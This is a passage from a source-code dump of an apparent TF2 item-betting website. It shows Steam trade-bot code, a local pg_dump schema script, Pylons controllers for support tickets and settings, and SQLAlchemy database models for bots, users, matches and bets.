tradesCopy[botsKey][otherBot][\"slots\"] = slotsCopy[otherBot]\n tradesCopy[botsKey][bestBot][\"receive\"] += itemsIDs[otherBot]\n else:\n # Add trades information if items can fit in bots inventory\n trades = tradesCopy\n slots = sorted(slotsCopy.iteritems(), key = lambda x: x[1], reverse = True)\n self.playersBots[playerIndex] = bestBot\n break\n\n self.newIDs = {}\n count = 0\n for botsKey, trade in trades.items():\n keyArray = botsKey.split(\"_\")\n mainBot = int(keyArray[0])\n otherBot = int(keyArray[1])\n mainHandler = self.SteamHandlers[mainBot]\n mainInventory, slots = mainHandler.botInventory()\n mainPartner = mainHandler.Bot.Community().Friend(mainHandler.Meta[\"steamID\"])\n otherHandler = self.SteamHandlers[otherBot]\n otherInventory, slots = otherHandler.botInventory()\n otherPartner = mainHandler.Bot.Community().Friend(otherHandler.Meta[\"steamID\"])\n otherPartner.token = otherHandler.Meta[\"token\"]\n\n botItems = {}\n for items in mainInventory.values():\n for item in items.values():\n botItems[item[\"originID\"]] = item\n for items in otherInventory.values():\n for item in items.values():\n botItems[item[\"originID\"]] = item\n\n itemsToGive = []\n itemsToReceive = []\n for originID in trade[otherBot][\"receive\"]:\n itemsToGive.append({\n \"appid\": 440,\n \"contextid\": 2,\n \"amount\": 1,\n \"assetid\": str(botItems[originID][\"assetID\"])\n })\n for originID in trade[mainBot][\"receive\"]:\n itemsToReceive.append({\n \"appid\": 440,\n \"contextid\": 2,\n \"amount\": 1,\n \"assetid\": str(botItems[originID][\"assetID\"])\n })\n\n offerID, UUID = mainHandler.Bot.Trade().sendOffer(otherPartner, itemsToGive, itemsToReceive, \"Those are the items for match %d\" % self.RMatch.id)\n if offerID is False:\n return False\n\n otherHandler.Bot.Trade().Offer(offerID, mainPartner).accept()\n originIDs = []\n accepted = False\n\n mainInventory, slots = mainHandler.botInventory()\n for items in mainInventory.values():\n for item in items.values():\n originIDs += [item[\"originID\"]]\n\n for originID in originIDs:\n if originID in trade[mainBot][\"receive\"]:\n accepted = True\n\n for originID in trade[otherBot][\"receive\"]:\n if originID not in originIDs:\n accepted = True\n\n if not accepted:\n return False\n\n count += 1\n\n for originID in trade[otherBot][\"receive\"]:\n for RWonItems in self.RWonItems:\n for RWonItem in RWonItems:\n if RWonItem.ItemInstance.originID == originID:\n RWonItem.ItemInstance.bot = otherBot\n\n for RWinnerItem in self.RWinnersItems:\n if RWinnerItem.ItemInstance.originID == originID:\n RWinnerItem.ItemInstance.bot = otherBot\n\n return True\n\n def prepareBotsDraw(self):\n slots = OrderedDict({})\n for botID, RBot in self.RBots.items():\n slots[botID] = RBot.slotsEmpty\n slots = sorted(slots.iteritems(), key = lambda x:x[1], reverse = True)\n\n # Find optimal bots for the players' items\n trades = OrderedDefaultDict(lambda: defaultdict(dict))\n self.playersBots = {}\n for playerIndex, RBet in enumerate(self.drawBets):\n botsItems = defaultdict(list)\n for item in RBet.items:\n botsItems[self.itemsBots[item[2]]] += [item[2]]\n\n # Iterate over bots to find the one with enough slots to fit all items\n while botsItems:\n tradesCopy = trades.copy()\n slotsCopy = OrderedDict()\n slotsCopy.update(slots)\n bestBot = max(botsItems, key=lambda x:len(botsItems[x]))\n itemsCounts = Counter({})\n itemsIDs = defaultdict(list)\n\n # Create dictionaries for other bots' items\n for item in RBet.items:\n if self.itemsBots[item[2]] != bestBot:\n itemsCounts[self.itemsBots[item[2]]] += 1\n itemsIDs[self.itemsBots[item[2]]] += [item[2]]\n\n # Iterate over other bots' items to find the best tradeoffer to add them to\n for otherBot, itemsCount in itemsCounts.items():\n bestKey = \"%d_%d\" % (bestBot, otherBot)\n otherKey = \"%d_%d\" % (otherBot, bestBot)\n result = 0\n for botsKey, tradeCopy in tradesCopy.items():\n if bestKey in botsKey or otherKey in botsKey:\n result = 1\n if tradeCopy[bestBot][\"slots\"] >= itemsCount:\n result = 2\n break\n\n # Add a trade if possible otherwise mark this trial as failed\n if result == 1 or result == 0:\n if slotsCopy[bestBot] >= itemsCount:\n if result == 1:\n keyArray = botsKey.split(\"_\")\n botsKey = \"%d_%d_%d\" % (bestBot, otherBot, keyArray[2] + 1)\n else:\n botsKey = \"%d_%d_0\" % (bestBot, otherBot)\n tradesCopy[botsKey][bestBot][\"slots\"] = 0\n tradesCopy[botsKey][otherBot][\"slots\"] = 0\n tradesCopy[botsKey][bestBot][\"receive\"] = []\n tradesCopy[botsKey][otherBot][\"receive\"] = []\n else:\n del botsItems[bestBot]\n break\n slotsCopy[bestBot] -= itemsCounts[otherBot]\n slotsCopy[otherBot] += itemsCounts[otherBot]\n tradesCopy[botsKey][bestBot][\"slots\"] = slotsCopy[bestBot]\n tradesCopy[botsKey][otherBot][\"slots\"] = slotsCopy[otherBot]\n tradesCopy[botsKey][bestBot][\"receive\"] += itemsIDs[otherBot]\n else:\n # Add trades information if items can fit in bots inventory\n trades = tradesCopy\n slots = sorted(slotsCopy.iteritems(), key = lambda x:x[1], reverse = True)\n self.playersBots[playerIndex] = bestBot\n break\n\n self.newIDs = {}\n count = 0\n for botsKey, trade in trades.items():\n keyArray = botsKey.split(\"_\")\n mainBot = int(keyArray[0])\n otherBot = int(keyArray[1])\n mainHandler = self.SteamHandlers[mainBot]\n mainInventory, slots = mainHandler.botInventory()\n mainPartner = mainHandler.Bot.Community().Friend(mainHandler.Meta[\"steamID\"])\n otherHandler = self.SteamHandlers[otherBot]\n otherInventory, slots = otherHandler.botInventory()\n otherPartner = mainHandler.Bot.Community().Friend(otherHandler.Meta[\"steamID\"])\n otherPartner.token = otherHandler.Meta[\"token\"]\n\n botItems = {}\n for items in mainInventory.values():\n for item in items.values():\n botItems[item[\"originID\"]] = item\n for items in otherInventory.values():\n for item in items.values():\n botItems[item[\"originID\"]] = item\n\n itemsToGive = []\n itemsToReceive = []\n for originID in trade[otherBot][\"receive\"]:\n itemsToGive.append({\n \"appid\": 440,\n \"contextid\": 2,\n \"amount\": 1,\n \"assetid\": str(botItems[originID][\"assetID\"])\n })\n for originID in trade[mainBot][\"receive\"]:\n itemsToReceive.append({\n \"appid\": 440,\n \"contextid\": 2,\n \"amount\": 1,\n \"assetid\": str(botItems[originID][\"assetID\"])\n })\n\n offerID, UUID = mainHandler.Bot.Trade().sendOffer(otherPartner, itemsToGive, itemsToReceive, \"Those are the items for match %d\" % self.RMatch.id)\n if offerID is False:\n return False\n\n otherHandler.Bot.Trade().Offer(offerID, mainPartner).accept()\n originIDs = []\n accepted = False\n\n mainInventory, slots = mainHandler.botInventory()\n for items in mainInventory.values():\n for item in items.values():\n originIDs += [item[\"originID\"]]\n\n for originID in originIDs:\n if originID in trade[mainBot][\"receive\"]:\n accepted = True\n\n for originID in trade[otherBot][\"receive\"]:\n if originID not in originIDs:\n accepted = True\n\n if not accepted:\n return False\n\n count += 1\n\n for originID in trade[mainBot][\"receive\"]:\n item = [botItems[originID][\"defindex\"], botItems[originID][\"quality\"], botItems[originID][\"originID\"]]\n self.RBotsItems[mainBot].items = self.RBotsItems[mainBot].items + [item]\n self.RBotsItems[otherBot].items = [testedItem for testedItem in self.RBotsItems[otherBot].items if testedItem != item]\n\n for originID in trade[otherBot][\"receive\"]:\n item = [botItems[originID][\"defindex\"], botItems[originID][\"quality\"], botItems[originID][\"originID\"]]\n self.RBotsItems[otherBot].items = self.RBotsItems[otherBot].items + [item]\n self.RBotsItems[mainBot].items = [testedItem for testedItem in self.RBotsItems[mainBot].items if testedItem != item]\n\n return True\n\n def updateDatabase(self):\n for playerIndex, RBet in enumerate(self.RWonBets):\n RBet.bot = self.playersBots[playerIndex]\n RBet.status = 1\n\n for RAvailableItem in self.RAvailableItems:\n if RAvailableItem.existing and RAvailableItem.status == 2:\n RAvailableItem.existing = False\n RItemInstance = db.ItemsInstances(originID = RAvailableItem.originID, item = RAvailableItem.item, bot = RAvailableItem.bot, user = None, status = 6, existing = False)\n self.Session.add(RItemInstance)\n self.Session.flush()\n RItemInstance = db.ItemsInstances(originID = RAvailableItem.originID, item = RAvailableItem.item, bot = RAvailableItem.bot, user = None, status = 7, existing = True)\n self.Session.add(RItemInstance)\n self.Session.flush()\n\n for RWinnerItem in self.RWinnersItems:\n RWinnerItem.ItemInstance.existing = False\n RItemInstance = db.ItemsInstances(originID = RWinnerItem.ItemInstance.originID, item = RWinnerItem.ItemInstance.item, bot = RWinnerItem.ItemInstance.bot, user = None, status = 3, existing = True, TTL = datetime.datetime.now() + datetime.timedelta(days=7))\n self.Session.add(RItemInstance)\n self.Session.flush()\n RWinnerItem.itemInstance = RItemInstance.id\n\n def updateDatabaseDraw(self):\n for playerIndex, RBet in enumerate(self.RBets):\n RBet.bot = self.playersBots[playerIndex]\n RBet.status = 1\n\n def updateQueue(self):\n for RWonItems in self.RWonItems.values():\n for RWonItem in RWonItems:\n self.EventsHandler.EventsQueue.addToQueue(\"removeItem-%d\" % RWonItem.ItemInstance.id, self.ScoresHandler.endItem, (RWonItem.ItemInstance.id, ))" }, { "alpha_fraction": 0.71875, "alphanum_fraction": 0.71875, "avg_line_length": 63, "blob_id": "6514d141a3ae0c5a21e9a6b708774310eaf06f95", "content_id": "2377c8a08ede252a3065ff1dfabdb88b645e7015", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 64, "license_type": "no_license", "max_line_length": 63, "num_lines": 1, "path": "/dump_database.sh", "repo_name": "shaunidiot/Saloon.tf", "src_encoding": "UTF-8", "text": "pg_dump -s Saloon.tf -U postgres -h localhost -W > database.sql\n" }, { "alpha_fraction": 0.6477516293525696, "alphanum_fraction": 0.6498929262161255, "avg_line_length": 32.98181915283203, "blob_id": "d2cb0c4d9f9d856fd15b70a6f35293da317becce", "content_id": "7663f556c0c2cce5906039fd592bb2f3aeb290c9", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1868, "license_type": "no_license", "max_line_length": 155, "num_lines": 55, "path": "/Website/website/controllers/support.py", "repo_name": "shaunidiot/Saloon.tf", "src_encoding": "UTF-8", "text": "import logging, simplejson as json\n\nfrom pylons import request, response, session, tmpl_context as c, url\nfrom pylons.controllers.util import abort, redirect\nfrom sqlalchemy import and_\nfrom website.lib.base import BaseController, Session, render\nimport database as db\n\nlog = logging.getLogger(__name__)\n\nclass SupportController(BaseController):\n\n def index(self, categoryID = False, topic = False):\n # Return a rendered template\n c.current = \"support\"\n c.success = False\n c.user = False\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser:\n c.user = RUser.to_dict()\n\n if not c.user:\n return abort(403)\n\n c.category = categoryID\n c.topic = topic\n if c.topic:\n c.topic = c.topic.replace(\"+\", \" \")\n\n return render(\"/support.mako\")\n\n def new(self):\n # Return a json array\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser:\n category = int(request.params[\"category\"])\n if category in range(4):\n RTicket = db.Tickets(user=RUser.id, category=category, title=request.params[\"title\"], email=request.params[\"email\"], text=request.params[\"text\"])\n Session.add(RTicket)\n Session.commit()\n success = True\n message = \"Ticket sent successfully. Check your email soon for the reponse!\"\n else:\n success = False\n message = \"<strong>Oh snap!</strong> Couldn't send the ticket.\"\n else:\n success = False\n message = \"You don't have sufficent priviledges to access this page.\"\n else:\n success = False\n message = \"You don't have sufficent priviledges to access this page.\"\n array = {\"success\": success, \"message\": message}\n return json.dumps(array)" }, { "alpha_fraction": 0.6490939259529114, "alphanum_fraction": 0.6532125473022461, "avg_line_length": 30.973684310913086, "blob_id": "7c67a7b24df8ab8966ee6854ccc9fa624b0877bf", "content_id": "9ebc4d300d871f2b31974762fe1027501ba77038", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1214, "license_type": "no_license", "max_line_length": 156, "num_lines": 38, "path": "/Website/website/controllers/settings.py", "repo_name": "shaunidiot/Saloon.tf", "src_encoding": "UTF-8", "text": "import logging, re\n\nfrom pylons import request, response, session, tmpl_context as c, url\nfrom pylons.controllers.util import abort, redirect\n\nfrom website.lib.base import BaseController, Session, render\nimport database as db\n\nlog = logging.getLogger(__name__)\n\nclass SettingsController(BaseController):\n\n def index(self):\n # Return a rendered template\n c.current = \"settings\"\n c.user = False\n\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser:\n c.user = RUser.context()\n\n if not c.user:\n return redirect(\"https://saloon.tf/home/\")\n\n return render(\"settings.mako\")\n\n def edit(self):\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser:\n RUser.name = request.params[\"name\"]\n if request.params[\"tradeLink\"]:\n match = re.match(r\"(http|https):\\/\\/steamcommunity\\.com\\/tradeoffer\\/new\\/\\?partner=[0-9]+&token=([a-zA-Z0-9\\-\\_]+)\", request.params[\"tradeLink\"])\n if match:\n RUser.token = match.group(2)\n Session.commit()\n return redirect(\"https://saloon.tf/settings/\")" }, { "alpha_fraction": 0.6326980590820312, "alphanum_fraction": 0.637908399105072, "avg_line_length": 31.927356719970703, "blob_id": "6395ec0659e6136b508fd63189f71715adf47575", "content_id": "407033ee25567a64d87691c4a1239c682da17aab", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 21304, "license_type": "no_license", "max_line_length": 232, "num_lines": 647, "path": "/Daemon/database.py", "repo_name": "shaunidiot/Saloon.tf", "src_encoding": "UTF-8", "text": "import datetime, simplejson as json\nfrom enum import Enum\nimport natural\nfrom collections import OrderedDict\nfrom sqlalchemy import Table, MetaData, Column, ForeignKey, Integer, String, Boolean, BigInteger\nfrom sqlalchemy.dialects.postgresql import JSONB, ARRAY, array\nfrom sqlalchemy.types import DateTime\nfrom sqlalchemy.orm import mapper, sessionmaker, relationship, backref\nfrom sqlalchemy.orm.scoping import scoped_session\nfrom sqlalchemy.ext.declarative import declarative_base\n\nfrom sqlalchemy.ext.compiler import compiles\nfrom sqlalchemy.sql.expression import ColumnClause, ColumnElement\nfrom sqlalchemy import or_, tuple_\n\nBase = declarative_base()\n\nclass Base(Base):\n __abstract__ = True\n \n # Stores changes made to this model's attributes. Can be retrieved\n # with model.changes\n _changes = {}\n \n def __init__(self, **kwargs):\n kwargs['_force'] = True\n self._set_columns(**kwargs)\n \n def _set_columns(self, **kwargs):\n force = kwargs.get('_force')\n \n readonly = []\n if hasattr(self, 'readonly_fields'):\n readonly = self.readonly_fields\n if hasattr(self, 'hidden_fields'):\n readonly += self.hidden_fields\n \n readonly += [\n 'id',\n 'created',\n 'updated',\n 'modified',\n 'created_at',\n 'updated_at',\n 'modified_at',\n ]\n \n changes = {}\n \n columns = self.__table__.columns.keys()\n relationships = self.__mapper__.relationships.keys()\n \n for key in columns:\n allowed = True if force or key not in readonly else False\n exists = True if key in kwargs else False\n if allowed and exists:\n val = getattr(self, key)\n if val != kwargs[key]:\n changes[key] = {'old': val, 'new': kwargs[key]}\n setattr(self, key, kwargs[key])\n \n for rel in relationships:\n allowed = True if force or rel not in readonly else False\n exists = True if rel in kwargs else False\n if allowed and exists:\n is_list = self.__mapper__.relationships[rel].uselist\n if is_list:\n valid_ids = []\n query = getattr(self, rel)\n cls = self.__mapper__.relationships[rel].argument()\n for item in kwargs[rel]:\n if 'id' in item and query.filter_by(id=item['id']).limit(1).count() == 1:\n obj = cls.query.filter_by(id=item['id']).first()\n col_changes = obj.set_columns(**item)\n if col_changes:\n col_changes['id'] = str(item['id'])\n if rel in changes:\n changes[rel].append(col_changes)\n else:\n changes.update({rel: [col_changes]})\n valid_ids.append(str(item['id']))\n else:\n col = cls()\n col_changes = col.set_columns(**item)\n query.append(col)\n db.session.flush()\n if col_changes:\n col_changes['id'] = str(col.id)\n if rel in changes:\n changes[rel].append(col_changes)\n else:\n changes.update({rel: [col_changes]})\n valid_ids.append(str(col.id))\n \n # delete related rows that were not in kwargs[rel]\n for item in query.filter(not_(cls.id.in_(valid_ids))).all():\n col_changes = {\n 'id': str(item.id),\n 'deleted': True,\n }\n if rel in changes:\n changes[rel].append(col_changes)\n else:\n changes.update({rel: [col_changes]})\n db.session.delete(item)\n \n else:\n val = getattr(self, rel)\n if self.__mapper__.relationships[rel].query_class is not None:\n if val is not None:\n col_changes = val.set_columns(**kwargs[rel])\n if col_changes:\n changes.update({rel: col_changes})\n else:\n if val != kwargs[rel]:\n setattr(self, rel, kwargs[rel])\n changes[rel] = {'old': val, 'new': kwargs[rel]}\n \n return changes\n \n def set_columns(self, **kwargs):\n self._changes = self._set_columns(**kwargs)\n if 'modified' in self.__table__.columns:\n self.modified = datetime.utcnow()\n if 'updated' in self.__table__.columns:\n self.updated = datetime.utcnow()\n if 'modified_at' in self.__table__.columns:\n self.modified_at = datetime.utcnow()\n if 'updated_at' in self.__table__.columns:\n self.updated_at = datetime.utcnow()\n return self._changes\n \n @property\n def changes(self):\n return self._changes\n \n def reset_changes(self):\n self._changes = {}\n \n def to_dict(self, show=None, hide=None, path=None, show_all=None):\n \"\"\" Return a dictionary representation of this model.\n \"\"\"\n \n if not show:\n show = []\n if not hide:\n hide = []\n hidden = []\n if hasattr(self, 'hidden_fields'):\n hidden = self.hidden_fields\n default = []\n if hasattr(self, 'default_fields'):\n default = self.default_fields\n \n ret_data = {}\n \n if not path:\n path = self.__tablename__.lower()\n def prepend_path(item):\n if item.split('.', 1)[0] == path:\n return item\n if len(item) == 0:\n return item\n if item[0] != '.':\n item = '.%s' % item\n item = '%s%s' % (path, item)\n return item\n show[:] = [prepend_path(x) for x in show]\n hide[:] = [prepend_path(x) for x in hide]\n \n columns = self.__table__.columns.keys()\n relationships = self.__mapper__.relationships.keys()\n properties = dir(self)\n \n for key in columns:\n check = '%s.%s' % (path, key)\n if check in hide or key in hidden:\n continue\n if show_all or key is 'id' or check in show or key in default:\n ret_data[key] = getattr(self, key)\n \n for key in relationships:\n check = '%s.%s' % (path, key)\n if check in hide or key in hidden:\n continue\n if show_all or check in show or key in default:\n hide.append(check)\n is_list = self.__mapper__.relationships[key].uselist\n if is_list:\n ret_data[key] = []\n for item in getattr(self, key):\n ret_data[key].append(item.to_dict(\n show=show,\n hide=hide,\n path=('%s.%s' % (path, key.lower())),\n show_all=show_all,\n ))\n else:\n ret_data[key] = getattr(self, key).to_dict(\n show=show,\n hide=hide,\n path=('%s.%s' % (path, key.lower())),\n show_all=show_all,\n )\n \n for key in list(set(properties) - set(columns) - set(relationships)):\n if key.startswith('_'):\n continue\n check = '%s.%s' % (path, key)\n if check in hide or key in hidden:\n continue\n if show_all or check in show or key in default:\n val = getattr(self, key)\n try:\n ret_data[key] = json.loads(json.dumps(val))\n except:\n pass\n \n return ret_data\n\nclass ReduceDimension(ColumnClause):\n pass\n\n@compiles(ReduceDimension)\ndef compile_reducedimension(element, compiler, **kw):\n type = ARRAY\n return \"reduce_dim(%s)\" % element.name\n\nclass Bots(Base):\n __tablename__ = \"bots\"\n id = Column(Integer, primary_key=True)\n name = Column(String)\n emailAddress = Column(String)\n emailPassword = Column(String)\n steamLogin = Column(String)\n steamPassword = Column(String)\n steamAPI = Column(String)\n steamID = Column(String)\n token = Column(String)\n backpackAPI = Column(String)\n slots = Column(Integer)\n slotsEmpty = Column(Integer)\n\n default_fields = ['id', 'name', 'steamAPI', 'steamID', 'token', 'backpackAPI', 'slots', 'slotsEmpty']\n\nclass BotsItems(Base):\n __tablename__ = \"botsItems\"\n bot = Column(Integer, ForeignKey(\"bots.id\"), primary_key=True)\n items = Column(ARRAY(BigInteger), default = [])\n\nclass BotsLeftoverItems(Base):\n __tablename__ = \"botsLeftoverItems\"\n bot = Column(Integer, ForeignKey(\"bots.id\"), primary_key=True)\n items = Column(ARRAY(BigInteger), default = [])\n\nclass Users(Base):\n __tablename__ = \"users\"\n id = Column(Integer, primary_key=True)\n name = Column(String(convert_unicode=True))\n avatar = Column(String)\n steamID = Column(BigInteger)\n token = Column(String)\n rank = Column(Integer, ForeignKey(\"usersRanks.id\"), default = 0)\n rankTimeout = Column(DateTime, default = \"infinity\")\n Rank = relationship(\"UsersRanks\")\n Permissions = relationship(\"UsersPermissions\")\n teams = Column(ARRAY(Integer), default = [])\n\n def tradeLink(self):\n return \"http://steamcommunity.com/tradeoffer/new/?partner=%d&token=%s\" % (int(self.steamID) - 76561197960265728, self.token)\n\n default_fields = ['id', 'name', 'avatar', 'steamID', 'token', 'rank', 'Rank', 'Permissions','rankTimeout', 'teams']\n\nclass UsersInventories(Base):\n __tablename__ = \"usersInventories\"\n user = Column(Integer, ForeignKey(\"users.id\"), primary_key=True)\n inventory = Column(JSONB)\n updated = Column(DateTime, onupdate=datetime.datetime.now(), default=datetime.date(1970, 1, 1))\n\n default_fields = ['user', 'inventory', 'updated']\n\nclass UsersPermissions(Base):\n __tablename__ = \"usersPermissions\"\n user = Column(Integer, ForeignKey(\"users.id\"), primary_key=True)\n manage = Column(Boolean)\n leagues = Column(Boolean)\n teams = Column(Boolean)\n users = Column(Boolean)\n bets = Column(Boolean)\n bots = Column(Boolean)\n scores = Column(Boolean)\n economy = Column(Boolean)\n permissions = Column(Boolean)\n\n default_fields = ['manage', 'leagues', 'teams', 'users', 'bets', 'bots', 'scores', 'economy','permissions']\n\nclass UsersRanks(Base):\n __tablename__ = \"usersRanks\"\n id = Column(Integer, primary_key= True)\n name = Column(String)\n colour = Column(String)\n icon = Column(String)\n slots = Column(Integer)\n\n default_fields = ['id', 'name', 'colour', 'icon', 'slots']\n\nclass Notifications(Base):\n __tablename__ = \"notifications\"\n id = Column(Integer, primary_key=True)\n type = Column(String)\n text = Column(String)\n active = Column(Boolean)\n\n default_fields = ['id', 'type', 'text', 'active']\n\nclass Tickets(Base):\n __tablename__ = \"tickets\"\n id = Column(Integer, primary_key=True)\n user = Column(Integer, ForeignKey(\"users.id\"))\n User = relationship(\"Users\")\n category = Column(Integer)\n title = Column(String)\n text = Column(String)\n email = Column(String)\n open = Column(Boolean, default=True)\n updated = Column(DateTime, onupdate=datetime.datetime.now(), default=datetime.datetime.now())\n\n def categoryName(self):\n return [\n \"General idea\",\n \"Future request\",\n \"Legal concern\",\n \"Trades\",\n \"Matches\"\n ][self.category]\n\n default_fields = ['id', 'user', 'User', 'category', 'title', 'text', 'email', 'open', 'updated']\n\nclass BetaCodes(Base):\n __tablename__ = \"betaCodes\"\n steamID = Column(BigInteger)\n code = Column(String, primary_key=True)\n uses = Column(Integer)\n\nclass Leagues(Base):\n __tablename__ = \"leagues\"\n id = Column(Integer, primary_key=True)\n name = Column(String)\n type = Column(String)\n region = Column(String)\n colour = Column(String)\n detailsColour = Column(String)\n textColour = Column(String)\n\n default_fields = ['id', 'name', 'type', 'region', 'colour', 'detailsColour', 'textColour']\n\nclass Teams(Base):\n __tablename__ = \"teams\"\n id = Column(Integer, primary_key=True)\n name = Column(String(convert_unicode=True))\n short = Column(String)\n country = Column(String, ForeignKey(\"countries.id\"))\n Country = relationship(\"Countries\")\n league = Column(Integer, ForeignKey(\"leagues.id\"))\n League = relationship(\"Leagues\")\n link = Column(String)\n\n default_fields = ['id', 'name', 'short', 'country', 'Country', 'league', 'League', 'link']\n\nclass Matches(Base):\n __tablename__ = \"matches\"\n id = Column(Integer, ForeignKey(\"betsTotal.match\"), ForeignKey(\"writeups.match\"), primary_key=True)\n league = Column(Integer, ForeignKey(\"leagues.id\"))\n League = relationship(\"Leagues\")\n team1 = Column(Integer, ForeignKey(\"teams.id\"), ForeignKey(\"betsTotal.team\"))\n Team1 = relationship(\"Teams\", foreign_keys=team1)\n BetsTotal1 = relationship(\"BetsTotal\", primaryjoin=\"and_(Matches.id == BetsTotal.match, Matches.team1 == BetsTotal.team)\")\n team2 = Column(Integer, ForeignKey(\"teams.id\"), ForeignKey(\"betsTotal.team\"))\n Team2 = relationship(\"Teams\", foreign_keys=team2)\n BetsTotal2 = relationship(\"BetsTotal\", primaryjoin=\"and_(Matches.id == BetsTotal.match, Matches.team2 == BetsTotal.team)\")\n status = Column(Integer, default = 0)\n time = Column(DateTime)\n endtime = Column(DateTime)\n payouttime = Column(DateTime)\n points1 = Column(Integer, default = 0)\n points2 = Column(Integer, default = 0)\n type = Column(Integer, default = 1)\n advantage = Column(Integer, default = 0)\n preferredBots = Column(ARRAY(Integer), default = [])\n betsLimit = Column(Integer, default = 20)\n betsCount = Column(Integer, default = 0)\n stream = Column(String)\n\n default_fields = ['id', 'league', 'League', 'team1' , 'team2', 'Team1', 'Team2', 'status', 'time', 'endtime', 'payouttime', 'points1', 'points2', 'advantage', 'betsLimit', 'betsCount', 'BetsTotal1', 'BetsTotal2', 'stream', 'type']\n\n def naturalTime(self):\n if self.status == 1:\n return \"Live!\"\n elif self.status == 0:\n if self.time and self.time > datetime.datetime.now():\n return natural.date.duration(self.time).replace(\" from now\", \"\").capitalize()\n else:\n return \"Upcoming\"\n elif self.status == 2:\n return \"Unverified\"\n elif self.status in [3,4]:\n if self.endtime and self.endtime < datetime.datetime.now():\n return natural.date.duration(self.endtime).capitalize()\n else:\n return \"Ended\"\n elif self.status == 5:\n return \"Nullified\"\n\n def team1Score(self):\n team = {}\n team[\"points\"] = self.points1\n team[\"advantage\"] = self.advantage / 2.0 * -1\n\n team[\"bets\"] = {}\n team[\"bets\"][\"value\"] = self.BetsTotal1.value\n if team[\"bets\"][\"value\"] > 0:\n team[\"bets\"][\"percentage\"] = int(round(float(team[\"bets\"][\"value\"]) / float(self.BetsTotal1.value + self.BetsTotal2.value) * 100))\n else:\n team[\"bets\"][\"percentage\"] = 0\n\n advantage = self.points2 - self.points1\n if self.status == 5 or advantage == self.advantage:\n team[\"status\"] = 0\n elif advantage < self.advantage:\n team[\"status\"] = 1\n elif advantage > self.advantage:\n team[\"status\"] = 0\n\n return team\n\n def team2Score(self):\n team = {}\n team[\"points\"] = self.points2\n team[\"advantage\"] = self.advantage / 2.0\n\n team[\"bets\"] = {}\n team[\"bets\"][\"value\"] = self.BetsTotal2.value\n if team[\"bets\"][\"value\"] > 0:\n team[\"bets\"][\"percentage\"] = int(round(float(team[\"bets\"][\"value\"]) / float(self.BetsTotal1.value + self.BetsTotal2.value) * 100))\n else:\n team[\"bets\"][\"percentage\"] = 0\n\n advantage = self.points2 - self.points1\n if self.status == 5 or advantage == self.advantage:\n team[\"status\"] = 0\n elif advantage < self.advantage:\n team[\"status\"] = 0\n elif advantage > self.advantage:\n team[\"status\"] = 1\n\n return team\n\nclass Writeups(Base):\n __tablename__ = \"writeups\"\n id = Column(Integer, primary_key=True)\n match = Column(Integer)\n text = Column(String)\n articleName = Column(String)\n articleLink = Column(String)\n matchLink = Column(String)\n vodLink = Column(String)\n\n default_fields = ['match', 'text', 'articleName', 'articleLink' , 'matchLink', 'vodLink', 'json']\n\nclass BetsTotal(Base):\n __tablename__ = \"betsTotal\"\n id = Column(Integer, primary_key=True)\n match = Column(Integer)\n team = Column(Integer)\n value = Column(Integer)\n\n default_fields = ['team', 'value']\n\nclass Bets(Base):\n __tablename__ = \"bets\"\n id = Column(Integer, primary_key=True)\n user = Column(Integer, ForeignKey(\"users.id\"))\n User = relationship(\"Users\")\n match = Column(Integer, ForeignKey(\"matches.id\"))\n Match = relationship(\"Matches\")\n team = Column(Integer, ForeignKey(\"teams.id\"))\n Team = relationship(\"Teams\")\n status = Column(Integer, default = 0)\n value = Column(Integer, default = 0)\n wonValue = Column(Integer, default = 0)\n created = Column(DateTime, default = datetime.datetime.now())\n updated = Column(DateTime, onupdate = datetime.datetime.now())\n bot = Column(Integer)\n\n items = Column(ARRAY(BigInteger), default = [])\n wonItems = Column(ARRAY(BigInteger), default = [])\n\n def naturalDeadline(self):\n if not self.Match.payouttime:\n return False\n return natural.date.duration(self.Match.payouttime).replace(\" from now\", \"\").capitalize()\n\n default_fields = ['id', 'user', 'team', 'status', 'value', 'wonItems', 'bot']\n\nclass Offers(Base):\n __tablename__ = \"offers\"\n id = Column(Integer, primary_key=True)\n offerID = Column(Integer)\n UUID = Column(String)\n user = Column(Integer, ForeignKey(\"users.id\"))\n User = relationship(\"Users\")\n type = Column(Integer)\n match = Column(Integer, ForeignKey(\"matches.id\"))\n Match = relationship(\"Matches\")\n team = Column(Integer, ForeignKey(\"teams.id\"))\n Team = relationship(\"Teams\")\n items = Column(ARRAY(BigInteger), default = []) \n bot = Column(Integer, ForeignKey(\"bots.id\"))\n Bot = relationship(\"Bots\")\n status = Column(Integer)\n created = Column(DateTime, default = datetime.datetime.now())\n updated = Column(DateTime, onupdate = datetime.datetime.now(), default = datetime.datetime.now())\n hidden = Column(Boolean, default = False)\n\n def typeText(self):\n return [\"Bet\", \"Payout\", \"Refund\"][self.type]\n\n def statusText(self):\n return [\"\", \"Invalid\", \"Active\", \"Accepted\", \"Declined\", \"Expired\", \"Canceled\", \"Declined\", \"Invalid\"][self.status]\n\n def naturalCreated(self):\n return natural.date.duration(self.created).replace(\" from now\", \"\").capitalize()\n\n def naturalUpdated(self):\n return natural.date.duration(self.updated).replace(\" from now\", \"\").capitalize()\n\n TypeEnum = Enum(\"TypeEnum\", \"bet payout refund\")\n default_fields = ['id', 'offerID', 'user', 'type', 'match', 'team', 'items', 'bot', 'Bot', 'status', 'created', 'updated', 'hidden']\n\nclass Items(Base):\n __tablename__ = \"items\"\n id = Column(Integer, primary_key=True)\n description = Column(String)\n defindex = Column(Integer)\n value = Column(Integer)\n type = Column(Integer)\n quality = Column(Integer)\n timestamp = Column(Integer)\n bettable = Column(Boolean, default=False)\n\n default_fields = ['id', 'description', 'defindex', 'value', 'type', 'quality', 